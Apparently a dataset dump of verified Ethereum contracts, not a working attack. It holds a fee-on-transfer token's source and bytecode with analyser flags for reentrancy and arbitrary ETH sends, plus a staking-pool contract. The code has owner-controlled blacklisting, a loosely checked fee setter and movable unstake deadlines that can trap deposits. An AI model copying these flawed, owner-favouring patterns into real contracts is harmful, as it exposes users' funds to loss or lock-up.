if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055b578063dd62ed3e1461057b578063ea1644d5146105c1578063f2fde38b146105e157600080fd5b8063a2a957bb146104d6578063a9059cbb146104f6578063bfd7928414610516578063c3c8cd801461054657600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b657600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b610601565b005b34801561020a57600080fd5b5060408051808201909152600c81526b414e5449424f445920494e5560a01b60208201525b60405161023c9190611a25565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a7a565b6106a0565b604051901515815260200161023c565b34801561028157600080fd5b50601354610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa6565b6106b7565b3480156102fe57600080fd5b506102c460175481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601454610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae7565b610720565b34801561037057600080fd5b506101fc61037f366004611b14565b61076b565b34801561039057600080fd5b506101fc6107b3565b3480156103a557600080fd5b506102c46103b4366004611ae7565b6107e0565b3480156103c557600080fd5b506101fc610802565b3480156103da57600080fd5b506101fc6103e9366004611b2f565b610876565b3480156103fa57600080fd5b506102c460155481565b34801561041057600080fd5b506102c461041f366004611ae7565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b14565b6108b8565b34801561047b57600080fd5b506102c460165481565b34801561049157600080fd5b50604080518082019091526008815267414e5449424f445960c01b602082015261022f565b3480156104c257600080fd5b506101fc6104d1366004611b2f565b610917565b3480156104e257600080fd5b506101fc6104f1366004611b48565b610946565b34801561050257600080fd5b50610265610511366004611a7a565b6109a0565b34801561052257600080fd5b50610265610531366004611ae7565b60106020526000908152604090205460ff1681565b34801561055257600080fd5b506101fc6109ad565b34801561056757600080fd5b506101fc610576366004611b7a565b6109e3565b34801561058757600080fd5b506102c4610596366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cd57600080fd5b506101fc6105dc366004611b2f565b610a84565b3480156105ed57600080fd5b506101fc6105fc366004611ae7565b610ab3565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161062b90611c37565b60405180910390fd5b60005b815181101561069c5760016010600084848151811061065857610658611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069481611c98565b915050610637565b5050565b60006106ad338484610b9d565b5060015b92915050565b60006106c4848484610cc1565b610716843361071185604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111fd565b610b9d565b5060019392505050565b6000546001600160a01b0316331461074a5760405162461bcd60e51b815260040161062b90611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107955760405162461bcd60e51b815260040161062b90611c37565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d357600080fd5b476107dd81611237565b50565b6001600160a01b0381166000908152600260205260408120546106b190611271565b6000546001600160a01b0316331461082c5760405162461bcd60e51b815260040161062b90611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a05760405162461bcd60e51b815260040161062b90611c37565b6611c37937e0800081116108b357600080fd5b601555565b6000546001600160a01b031633146108e25760405162461bcd60e51b815260040161062b90611c37565b601454600160a01b900460ff16156108f957600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109415760405162461bcd60e51b815260040161062b90611c37565b601755565b6000546001600160a01b031633146109705760405162461bcd60e51b815260040161062b90611c37565b600954821115806109835750600b548111155b61098c57600080fd5b600893909355600a91909155600955600b55565b60006106ad338484610cc1565b6012546001600160a01b0316336001600160a01b0316146109cd57600080fd5b60006109d8306107e0565b90506107dd816112f5565b6000546001600160a01b03163314610a0d5760405162461bcd60e51b815260040161062b90611c37565b60005b82811015610a7e578160056000868685818110610a2f57610a2f611c6c565b9050602002016020810190610a449190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7681611c98565b915050610a10565b50505050565b6000546001600160a01b03163314610aae5760405162461bcd60e51b815260040161062b90611c37565b601655565b6000546001600160a01b03163314610add5760405162461bcd60e51b815260040161062b90611c37565b6001600160a01b038116610b425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062b565b6001600160a01b038216610c605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062b565b6001600160a01b038216610d875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062b565b60008111610de95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062b565b6000546001600160a01b03848116911614801590610e1557506000546001600160a01b03838116911614155b156110f657601454600160a01b900460ff16610eae576000546001600160a01b03848116911614610eae5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062b565b601554811115610f005760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4257506001600160a01b03821660009081526010602052604090205460ff16155b610f9a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062b565b6014546001600160a01b0383811691161461101f5760165481610fbc846107e0565b610fc69190611cb3565b1061101f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062b565b600061102a306107e0565b6017546015549192508210159082106110435760155491505b80801561105a5750601454600160a81b900460ff16155b801561107457506014546001600160a01b03868116911614155b80156110895750601454600160b01b900460ff165b80156110ae57506001600160a01b03851660009081526005602052604090205460ff16155b80156110d357506001600160a01b03841660009081526005602052604090205460ff16155b156110f3576110e1826112f5565b4780156110f1576110f147611237565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113857506001600160a01b03831660009081526005602052604090205460ff165b8061116a57506014546001600160a01b0385811691161480159061116a57506014546001600160a01b03848116911614155b15611177575060006111f1565b6014546001600160a01b0385811691161480156111a257506013546001600160a01b03848116911614155b156111b457600854600c55600954600d555b6014546001600160a01b0384811691161480156111df57506013546001600160a01b03858116911614155b156111f157600a54600c55600b54600d555b610a7e8484848461146f565b600081848411156112215760405162461bcd60e51b815260040161062b9190611a25565b50600061122e8486611ccb565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069c573d6000803e3d6000fd5b60006006548211156112d85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062b565b60006112e261149d565b90506112ee83826114c0565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133d5761133d611c6c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce2565b816001815181106113cd576113cd611c6c565b6001600160a01b0392831660209182029290920101526013546113f39130911684610b9d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cff565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a7e57610a7e600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112ee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611667565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611695565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611734565b6001600160a01b0389166000908152600260205260409020556115c581611793565b6115cf84836117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164282826114c0565b82101561165e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116885760405162461bcd60e51b815260040161062b9190611a25565b50600061122e8486611d70565b60008060008060008060008060006116b28a600c54600d54611801565b92509250925060006116c261149d565b905060008060006116d58e878787611856565b919e509c509a509598509396509194505050505091939550919395565b60006112ee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fd565b6000806117418385611cb3565b9050838110156112ee5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062b565b600061179d61149d565b905060006117ab83836118a6565b306000908152600260205260409020549091506117c89082611734565b30600090815260026020526040902055505050565b6006546117ea90836116f2565b6006556007546117fa9082611734565b6007555050565b600080808061181b606461181589896118a6565b906114c0565b9050600061182e60646118158a896118a6565b90506000611846826118408b866116f2565b906116f2565b9992985090965090945050505050565b600080808061186588866118a6565b9050600061187388876118a6565b9050600061188188886118a6565b905060006118938261184086866116f2565b939b939a50919850919650505050505050565b6000826118b5575060006106b1565b60006118c18385611d92565b9050826118ce8583611d70565b146112ee5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107dd57600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112ee8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112ee82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cac57611cac611c82565b5060010190565b60008219821115611cc657611cc6611c82565b500190565b600082821015611cdd57611cdd611c82565b500390565b600060208284031215611cf457600080fd5b81516112ee8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4f5784516001600160a01b031683529383019391830191600101611d2a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dac57611dac611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d4fed5b5d1df7929fb20a3c445a8c17e3d60b9e5cf651b869ba693db64b6125d64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,114 |
0x70ac2af9cc7dd7a1038de9cf6e06837ad47a0357 | /**
*Submitted for verification at Etherscan.io on 2021-08-30
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DinoxAlphaPool is Ownable {
using SafeMath for uint256;
struct StakerInfo {
uint256 amount;
uint256 startStakeTime;
uint256[] amounts;
uint256[] times;
}
uint256 public stakingStart;
uint256 public stakingEnd;
uint256 public stakingClosed;
uint256 public maximumStakers; // points generated per LP token per second staked
uint256 public currentStakers;
uint256 public minimumStake;
uint256 public stakingFee;
IERC20 dnxcToken; // token being staked
address private _rewardDistributor;
mapping(address => StakerInfo) public stakerInfo;
uint256 internal fee;
bool paused;
constructor(uint256 _minimumStake, uint256 _stakingFee, uint256 _stakingStart, uint256 _stakingClosed, uint256 _stakingEnd, IERC20 _dnxcToken)
{
minimumStake = _minimumStake;
stakingFee = _stakingFee;
stakingStart = _stakingStart;
stakingClosed = _stakingClosed;
stakingEnd = _stakingEnd;
paused = true;
dnxcToken = _dnxcToken;
_rewardDistributor = address(owner());
}
function changePause(bool _pause) onlyOwner public {
paused = _pause;
}
function changeDistributor(address _address) onlyOwner public {
_rewardDistributor = _address;
}
function changeStakingFees(uint256 _stakingFee) onlyOwner public {
stakingFee = _stakingFee;
}
function changeEndTime(uint256 endTime) public onlyOwner {
stakingEnd = endTime;
}
function changeCloseTime(uint256 closeTime) public onlyOwner {
stakingClosed = closeTime;
}
function changeStartTime(uint256 startTime) public onlyOwner {
stakingStart = startTime;
}
function stake(uint256 _amount) public payable {
require (paused == false, "E09");
require (block.timestamp >= stakingStart, "E07");
StakerInfo storage user = stakerInfo[msg.sender];
require (user.amount.add(_amount) >= minimumStake, "E01");
require (dnxcToken.transferFrom(msg.sender, address(this), _amount), "E02");
if(user.startStakeTime == 0) {
require (msg.value >= stakingFee, "E04");
user.startStakeTime = block.timestamp;
}
user.amount = user.amount.add(_amount);
user.amounts.push(user.amount);
user.times.push(block.timestamp);
}
function unstake(uint256 _amount) public {
require (block.timestamp >= stakingEnd || block.timestamp <= stakingClosed, "E08");
StakerInfo storage user = stakerInfo[msg.sender];
require(user.amount > 0, "E06");
if (_amount > user.amount) {
_amount = user.amount;
}
dnxcToken.transfer(
msg.sender,
_amount
);
user.amount = user.amount.sub(_amount);
user.amounts.push(user.amount);
user.times.push(block.timestamp);
}
function getUsersAmounts(address _user) public view returns (uint256[] memory) {
StakerInfo storage user = stakerInfo[_user];
return user.amounts;
}
function getUsersTimes(address _user) public view returns (uint256[] memory) {
StakerInfo storage user = stakerInfo[_user];
return user.times;
}
function getTimestampOfStartedStaking(address _user) public view returns (uint256) {
StakerInfo storage user = stakerInfo[_user];
return user.startStakeTime;
}
function withdrawFees() onlyOwner external {
require(payable(msg.sender).send(address(this).balance));
}
} | 0x6080604052600436106101405760003560e01c80638bbc9d11116100b6578063b667c8061161006f578063b667c80614610414578063d771b0a61461043d578063eb954f0c14610468578063ec5ffac2146104a5578063eff98843146104d0578063f2fde38b146104fb57610140565b80638bbc9d11146103115780638da5cb5b1461033c578063930ef76c14610367578063a31d7fdf146103a4578063a694fc3a146103cd578063a92ae61f146103e957610140565b80635d4fead3116101085780635d4fead3146102175780636d02c4fa14610240578063715018a61461027d5780637df427a914610294578063802cd15f146102bf5780638aa5b2c3146102e857610140565b80632e17de78146101455780633052b75e1461016e578063476343ee146101975780634e745f1f146101ae578063517d0411146101ec575b600080fd5b34801561015157600080fd5b5061016c60048036038101906101679190611450565b610524565b005b34801561017a57600080fd5b5061019560048036038101906101909190611450565b610741565b005b3480156101a357600080fd5b506101ac6107c7565b005b3480156101ba57600080fd5b506101d560048036038101906101d091906113d5565b610883565b6040516101e39291906118b5565b60405180910390f35b3480156101f857600080fd5b506102016108a7565b60405161020e919061189a565b60405180910390f35b34801561022357600080fd5b5061023e600480360381019061023991906113fe565b6108ad565b005b34801561024c57600080fd5b50610267600480360381019061026291906113d5565b610946565b6040516102749190611718565b60405180910390f35b34801561028957600080fd5b506102926109e6565b005b3480156102a057600080fd5b506102a9610a6e565b6040516102b6919061189a565b60405180910390f35b3480156102cb57600080fd5b506102e660048036038101906102e191906113d5565b610a74565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190611450565b610b34565b005b34801561031d57600080fd5b50610326610bba565b604051610333919061189a565b60405180910390f35b34801561034857600080fd5b50610351610bc0565b60405161035e919061169d565b60405180910390f35b34801561037357600080fd5b5061038e600480360381019061038991906113d5565b610be9565b60405161039b919061189a565b60405180910390f35b3480156103b057600080fd5b506103cb60048036038101906103c69190611450565b610c3a565b005b6103e760048036038101906103e29190611450565b610cc0565b005b3480156103f557600080fd5b506103fe610fc2565b60405161040b919061189a565b60405180910390f35b34801561042057600080fd5b5061043b60048036038101906104369190611450565b610fc8565b005b34801561044957600080fd5b5061045261104e565b60405161045f919061189a565b60405180910390f35b34801561047457600080fd5b5061048f600480360381019061048a91906113d5565b611054565b60405161049c9190611718565b60405180910390f35b3480156104b157600080fd5b506104ba6110f4565b6040516104c7919061189a565b60405180910390f35b3480156104dc57600080fd5b506104e56110fa565b6040516104f2919061189a565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d91906113d5565b611100565b005b6002544210158061053757506003544211155b610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d9061183a565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015411610600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f79061177a565b60405180910390fd5b806000015482111561061457806000015491505b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b81526004016106719291906116ef565b602060405180830381600087803b15801561068b57600080fd5b505af115801561069f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c39190611427565b506106db8282600001546111f890919063ffffffff16565b816000018190555080600201816000015490806001815401